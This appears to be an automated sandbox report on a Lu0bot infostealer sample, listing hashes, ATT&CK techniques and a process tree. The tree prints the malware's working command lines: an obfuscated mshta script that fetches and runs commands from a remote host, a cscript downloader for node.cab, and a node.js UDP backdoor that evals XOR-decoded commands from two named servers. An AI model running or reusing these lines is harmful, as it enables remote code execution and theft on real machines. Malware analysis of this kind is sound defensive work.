lu0bot | 4b40eb7af466f9aada78a955661f611e45e288a89b6ebbbbd899ec0b5a41c3ae

Analysis

max time kernel
153s
max time network
158s
platform
windows10_x64
resource
win10v20210408
submitted
02-09-2021 17:45

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General

Target

usfive_20210902-062006.exe
Size

2KB
MD5

3bf58fb4fd28cc6d24da20bbf69f337a
SHA1

33b1f71be7a12af9d58fc288b5b8681da077629d
SHA256

4b40eb7af466f9aada78a955661f611e45e288a89b6ebbbbd899ec0b5a41c3ae
SHA512

dce815a730cf343ddcf6680ed8ab2b40d9cd9daa8bef72f8290e144fff86493fa34297946f53b814849afade4275d25c5adb43df12a014a8ffae3b86bfe052cf

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	1008	mshta.exe
15	604	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2892	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2992	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
804	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
2952	ipconfig.exe
3208	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
412	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\6df58d82719a53cd:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:f0af527c2d53a3a15d1b7f8c60fab737	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2892	node.exe
2892	node.exe
2892	node.exe
2892	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	804	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2104	wmic.exe
Token: SeSecurityPrivilege	2104	wmic.exe
Token: SeTakeOwnershipPrivilege	2104	wmic.exe
Token: SeLoadDriverPrivilege	2104	wmic.exe
Token: SeSystemProfilePrivilege	2104	wmic.exe
Token: SeSystemtimePrivilege	2104	wmic.exe
Token: SeProfSingleProcessPrivilege	2104	wmic.exe
Token: SeIncBasePriorityPrivilege	2104	wmic.exe
Token: SeCreatePagefilePrivilege	2104	wmic.exe
Token: SeBackupPrivilege	2104	wmic.exe
Token: SeRestorePrivilege	2104	wmic.exe
Token: SeShutdownPrivilege	2104	wmic.exe
Token: SeDebugPrivilege	2104	wmic.exe
Token: SeSystemEnvironmentPrivilege	2104	wmic.exe
Token: SeRemoteShutdownPrivilege	2104	wmic.exe
Token: SeUndockPrivilege	2104	wmic.exe
Token: SeManageVolumePrivilege	2104	wmic.exe
Token: 33	2104	wmic.exe
Token: 34	2104	wmic.exe
Token: 35	2104	wmic.exe
Token: 36	2104	wmic.exe
Token: SeIncreaseQuotaPrivilege	2104	wmic.exe
Token: SeSecurityPrivilege	2104	wmic.exe
Token: SeTakeOwnershipPrivilege	2104	wmic.exe
Token: SeLoadDriverPrivilege	2104	wmic.exe
Token: SeSystemProfilePrivilege	2104	wmic.exe
Token: SeSystemtimePrivilege	2104	wmic.exe
Token: SeProfSingleProcessPrivilege	2104	wmic.exe
Token: SeIncBasePriorityPrivilege	2104	wmic.exe
Token: SeCreatePagefilePrivilege	2104	wmic.exe
Token: SeBackupPrivilege	2104	wmic.exe
Token: SeRestorePrivilege	2104	wmic.exe
Token: SeShutdownPrivilege	2104	wmic.exe
Token: SeDebugPrivilege	2104	wmic.exe
Token: SeSystemEnvironmentPrivilege	2104	wmic.exe
Token: SeRemoteShutdownPrivilege	2104	wmic.exe
Token: SeUndockPrivilege	2104	wmic.exe
Token: SeManageVolumePrivilege	2104	wmic.exe
Token: 33	2104	wmic.exe
Token: 34	2104	wmic.exe
Token: 35	2104	wmic.exe
Token: 36	2104	wmic.exe
Token: SeDebugPrivilege	3208	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 1008	1404	usfive_20210902-062006.exe	73
PID 1404 wrote to memory of 1008	1404	usfive_20210902-062006.exe	73
PID 1404 wrote to memory of 1008	1404	usfive_20210902-062006.exe	73
PID 1008 wrote to memory of 3812	1008	mshta.exe	75
PID 1008 wrote to memory of 3812	1008	mshta.exe	75
PID 1008 wrote to memory of 3812	1008	mshta.exe	75
PID 3812 wrote to memory of 604	3812	cmd.exe	77
PID 3812 wrote to memory of 604	3812	cmd.exe	77
PID 3812 wrote to memory of 604	3812	cmd.exe	77
PID 3812 wrote to memory of 2840	3812	cmd.exe	78
PID 3812 wrote to memory of 2840	3812	cmd.exe	78
PID 3812 wrote to memory of 2840	3812	cmd.exe	78
PID 3812 wrote to memory of 2112	3812	cmd.exe	79
PID 3812 wrote to memory of 2112	3812	cmd.exe	79
PID 3812 wrote to memory of 2112	3812	cmd.exe	79
PID 2112 wrote to memory of 2892	2112	cscript.exe	80
PID 2112 wrote to memory of 2892	2112	cscript.exe	80
PID 2112 wrote to memory of 2892	2112	cscript.exe	80
PID 2892 wrote to memory of 3016	2892	node.exe	84
PID 2892 wrote to memory of 3016	2892	node.exe	84
PID 2892 wrote to memory of 3016	2892	node.exe	84
PID 2892 wrote to memory of 2900	2892	node.exe	85
PID 2892 wrote to memory of 2900	2892	node.exe	85
PID 2892 wrote to memory of 2900	2892	node.exe	85
PID 2892 wrote to memory of 2992	2892	node.exe	86
PID 2892 wrote to memory of 2992	2892	node.exe	86
PID 2892 wrote to memory of 2992	2892	node.exe	86
PID 2892 wrote to memory of 3564	2892	node.exe	87
PID 2892 wrote to memory of 3564	2892	node.exe	87
PID 2892 wrote to memory of 3564	2892	node.exe	87
PID 2892 wrote to memory of 576	2892	node.exe	88
PID 2892 wrote to memory of 576	2892	node.exe	88
PID 2892 wrote to memory of 576	2892	node.exe	88
PID 2892 wrote to memory of 804	2892	node.exe	90
PID 2892 wrote to memory of 804	2892	node.exe	90
PID 2892 wrote to memory of 804	2892	node.exe	90
PID 2892 wrote to memory of 2104	2892	node.exe	92
PID 2892 wrote to memory of 2104	2892	node.exe	92
PID 2892 wrote to memory of 2104	2892	node.exe	92
PID 2892 wrote to memory of 2952	2892	node.exe	93
PID 2892 wrote to memory of 2952	2892	node.exe	93
PID 2892 wrote to memory of 2952	2892	node.exe	93
PID 2892 wrote to memory of 2292	2892	node.exe	94
PID 2892 wrote to memory of 2292	2892	node.exe	94
PID 2892 wrote to memory of 2292	2892	node.exe	94
PID 2892 wrote to memory of 3208	2892	node.exe	95
PID 2892 wrote to memory of 3208	2892	node.exe	95
PID 2892 wrote to memory of 3208	2892	node.exe	95
PID 2892 wrote to memory of 412	2892	node.exe	96
PID 2892 wrote to memory of 412	2892	node.exe	96
PID 2892 wrote to memory of 412	2892	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3564	attrib.exe
576	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210902-062006.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210902-062006.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();0;y=unescape('%320%33%7E%68t%74p%3A%2F%2Fa%73u%310%2Ef%75n%2Fh%72i%2F%3F%321%616%654%62%7E%330').split('~');240;try{x='WinHttp';235;x=new ActiveXObject(x+'.'+x+'Request.5.1');239;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);72;x.send();82;y='ipt.S';78;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);196;}catch(e){};2;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1630604939780.txt & cscript /nologo /e:jscript get1630604939780.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F221319238%26b%3Defae17eb" node.cab & expand node.cab node.exe & del get1630604939780.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1630604939780.txt & cscript /nologo /e:jscript get1630604939780.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2721319238%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1630604939780.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3812
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1630604939780.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F221319238%26b%3Defae17eb" node.cab
      4⤵
      Blocklisted process makes network request
      PID:604
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:2840
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1630604939780.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2721319238%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2112
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2721319238%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2892
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:3016
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:2900
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:2992
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:3564
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:576
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:804
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2104
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:2952
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:2292
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3208
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:412

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2892-126-0x0000000034B00000-0x0000000034B01000-memory.dmp

Filesize
4KB

Download
memory/2892-128-0x0000000036700000-0x0000000036701000-memory.dmp

Filesize
4KB

Download
memory/2892-130-0x0000000027600000-0x0000000027601000-memory.dmp

Filesize
4KB

Download
memory/2892-127-0x000000003FA00000-0x000000003FA01000-memory.dmp

Filesize
4KB

Download
memory/2892-125-0x000000000C100000-0x000000000C101000-memory.dmp

Filesize
4KB

Download
memory/2892-129-0x000000000D400000-0x000000000D401000-memory.dmp

Filesize
4KB

Download